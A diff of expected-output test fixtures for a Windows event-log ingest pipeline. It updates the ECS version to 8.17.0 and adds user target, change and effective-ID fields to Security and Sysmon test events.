a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4738-account-changed.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4738-account-changed.json-expected.json index e35cc3dc430..241819ef28b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4738-account-changed.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4738-account-changed.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "modified-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1005", + "name": "elastictest1" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -110,4 +115,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4740-account-locked-out.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4740-account-locked-out.json-expected.json index 9410bd42612..2d1ec5618b8 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4740-account-locked-out.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4740-account-locked-out.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "locked-out-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WORKGROUP", "id": "S-1-5-18", - "name": "WIN-41OB2LO92CR$" + "name": "WIN-41OB2LO92CR$", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1005", + "name": "elastictest1" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -86,4 +91,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4754.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4754.json-expected.json index f822e008dc5..20db07bf012 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4754.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4754.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4755.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4755.json-expected.json index 18fb61ba872..e0be3e305f7 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4755.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4755.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "modified-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4756.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4756.json-expected.json index 66e4aed7d85..fd54d255d86 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4756.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4756.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1113", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4757.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4757.json-expected.json index 18b2bc23466..b3455e574bd 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4757.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4757.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-group", @@ -54,6 +54,7 @@ "id": "S-1-5-21-101361758-2486510592-3018839910-500", "name": "Administrator", "target": { + "domain": "local", "group": { "domain": "WLBEAT", "id": "S-1-5-21-101361758-2486510592-3018839910-1113", @@ -100,4 +101,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4758.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4758.json-expected.json index dd3340ee7c0..53fea945762 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4758.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4758.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4764.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4764.json-expected.json index 2bb4e76d466..7bc3b3fdb24 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4764.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4764.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "type-changed-group-account", @@ -91,4 +91,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4767-account-unlocked.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4767-account-unlocked.json-expected.json index 206ef998c22..ed8f6be99c0 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4767-account-unlocked.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4767-account-unlocked.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "unlocked-user-account", @@ -48,7 +48,12 @@ "user": { "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1005", + "name": "elastictest1" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -86,4 +91,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4781-account-renamed.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4781-account-renamed.json-expected.json index a7bf22a1212..ca985802cf2 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4781-account-renamed.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4781-account-renamed.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "renamed-user-account", @@ -47,9 +47,15 @@ ] }, "user": { + "changes": { + "name": "audittest06" + }, "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "name": "audittest0609" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -98,7 +104,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "renamed-user-account", @@ -135,9 +141,15 @@ ] }, "user": { + "changes": { + "name": "audittest0609" + }, "domain": "WIN-41OB2LO92CR", "id": "S-1-5-21-101361758-2486510592-3018839910-500", - "name": "Administrator" + "name": "Administrator", + "target": { + "name": "audittest06" + } }, "winlog": { "activity_id": "{1200ce16-64b6-0000-0ed0-0012b664d501}", @@ -177,4 +189,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4798.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4798.json-expected.json index 999fd091772..ceaa9f2e3de 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4798.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4798.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "group-membership-enumerated", @@ -48,7 +48,12 @@ "user": { "domain": "WORKGROUP", "id": "S-1-5-18", - "name": "WIN-41OB2LO92CR$" + "name": "WIN-41OB2LO92CR$", + "target": { + "domain": "WIN-41OB2LO92CR", + "id": "S-1-5-21-101361758-2486510592-3018839910-1005", + "name": "elastictest1" + } }, "winlog": { "activity_id": "{c3ff3c1c-7dc1-0000-233e-ffc3c17dd501}", @@ -88,4 +93,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4799.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4799.json-expected.json index cf46cc16aa0..1522570e858 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4799.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-4799.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "user-member-enumerated", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-logoff.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-logoff.json-expected.json index 2ef1e87ca18..4292a498499 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-logoff.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2016-logoff.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-out", @@ -91,7 +91,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logged-out", @@ -163,4 +163,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4688-process-created.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4688-process-created.json-expected.json index 68fee157db0..688752958c0 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4688-process-created.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4688-process-created.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "created-process", @@ -61,6 +61,9 @@ }, "user": { "domain": "VAGRANT", + "effective": { + "id": "S-1-0-0" + }, "id": "S-1-5-21-1610636575-2290000098-1654242922-1000", "name": "vagrant" }, @@ -105,4 +108,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4689-process-exited.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4689-process-exited.json-expected.json index 45bad92e7ce..0c2de636730 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4689-process-exited.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-windows2019-4689-process-exited.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "exited-process", @@ -95,7 +95,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "exited-process", @@ -180,7 +180,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "exited-process", @@ -256,4 +256,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-sysmon-operational-events.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-sysmon-operational-events.json-expected.json index 2cb0c35088f..66bdc3a0719 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-sysmon-operational-events.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-sysmon-operational-events.json-expected.json @@ -41,7 +41,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "elastic_agent": { "id": "ef67a54e-002d-4c31-a1c8-931a1a56bea4", @@ -156,7 +156,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -258,7 +258,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -335,7 +335,7 @@ { "@timestamp": "2020-05-07T08:14:44.489Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -447,7 +447,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -553,7 +553,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -630,7 +630,7 @@ { "@timestamp": "2020-05-05T14:57:40.589Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -681,7 +681,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "DWORD (0x00000004)", "EventType": "SetValue" }, "event_id": "13", @@ -704,7 +703,7 @@ { "@timestamp": "2020-05-07T07:27:18.722Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -811,7 +810,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -920,7 +919,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1016,7 +1015,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1122,7 +1121,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1216,7 +1215,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1324,7 +1323,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1468,7 +1467,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1573,7 +1572,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1674,7 +1673,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1781,7 +1780,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1875,7 +1874,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1981,7 +1980,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2057,7 +2056,7 @@ { "@timestamp": "2020-05-05T14:57:44.714Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -2108,7 +2107,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -2156,7 +2154,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2258,7 +2256,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2335,7 +2333,7 @@ { "@timestamp": "2020-05-05T14:57:44.714Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -2386,7 +2384,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "QWORD (0x00000000-0x00000005)", "EventType": "SetValue" }, "event_id": "13", @@ -2409,7 +2406,7 @@ { "@timestamp": "2020-05-05T14:57:46.808Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -2460,7 +2457,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -2535,7 +2531,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2642,7 +2638,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2794,7 +2790,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2939,7 +2935,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3094,7 +3090,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3215,7 +3211,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3371,7 +3367,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3532,7 +3528,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3633,7 +3629,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3775,7 +3771,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3879,7 +3875,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4022,7 +4018,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4121,7 +4117,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4218,7 +4214,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4354,7 +4350,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4480,7 +4476,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4561,7 +4557,7 @@ { "@timestamp": "2019-03-18T16:57:37.933Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ServiceConfigurationChange", @@ -4636,7 +4632,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4768,7 +4764,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4915,7 +4911,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5066,7 +5062,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5173,7 +5169,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5320,7 +5316,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5471,7 +5467,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5556,7 +5552,7 @@ { "@timestamp": "2019-03-18T16:57:38.011Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Sysmon service state changed", @@ -5633,7 +5629,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5726,7 +5722,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5801,7 +5797,7 @@ { "@timestamp": "2019-03-18T16:57:37.949Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -5945,7 +5941,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6084,7 +6080,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6168,7 +6164,7 @@ { "@timestamp": "2019-03-18T16:57:37.964Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -6340,7 +6336,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6454,7 +6450,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6604,7 +6600,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6717,7 +6713,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6844,7 +6840,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6951,7 +6947,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7049,7 +7045,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7133,7 +7129,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7213,7 +7209,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7285,7 +7281,7 @@ { "@timestamp": "2019-03-18T16:57:38.981Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -7408,7 +7404,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7523,7 +7519,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7621,7 +7617,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7697,7 +7693,7 @@ { "@timestamp": "2019-03-18T16:57:38.981Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -7820,7 +7816,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7905,7 +7901,7 @@ { "@timestamp": "2019-03-18T16:57:39.012Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -8015,7 +8011,7 @@ "port": 53 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8099,7 +8095,7 @@ "port": 53 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8185,7 +8181,7 @@ "port": 443 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8271,7 +8267,7 @@ "port": 443 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8383,7 +8379,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8526,7 +8522,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8615,7 +8611,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8717,7 +8713,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8805,7 +8801,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8921,7 +8917,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9001,7 +8997,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9087,7 +9083,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9171,7 +9167,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9254,7 +9250,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9337,7 +9333,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9422,7 +9418,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9506,7 +9502,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9592,7 +9588,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9678,7 +9674,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9795,7 +9791,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9893,7 +9889,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10034,7 +10030,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10190,7 +10186,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10346,7 +10342,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10497,7 +10493,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10612,7 +10608,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10725,7 +10721,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10822,7 +10818,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10964,7 +10960,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11122,7 +11118,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11270,7 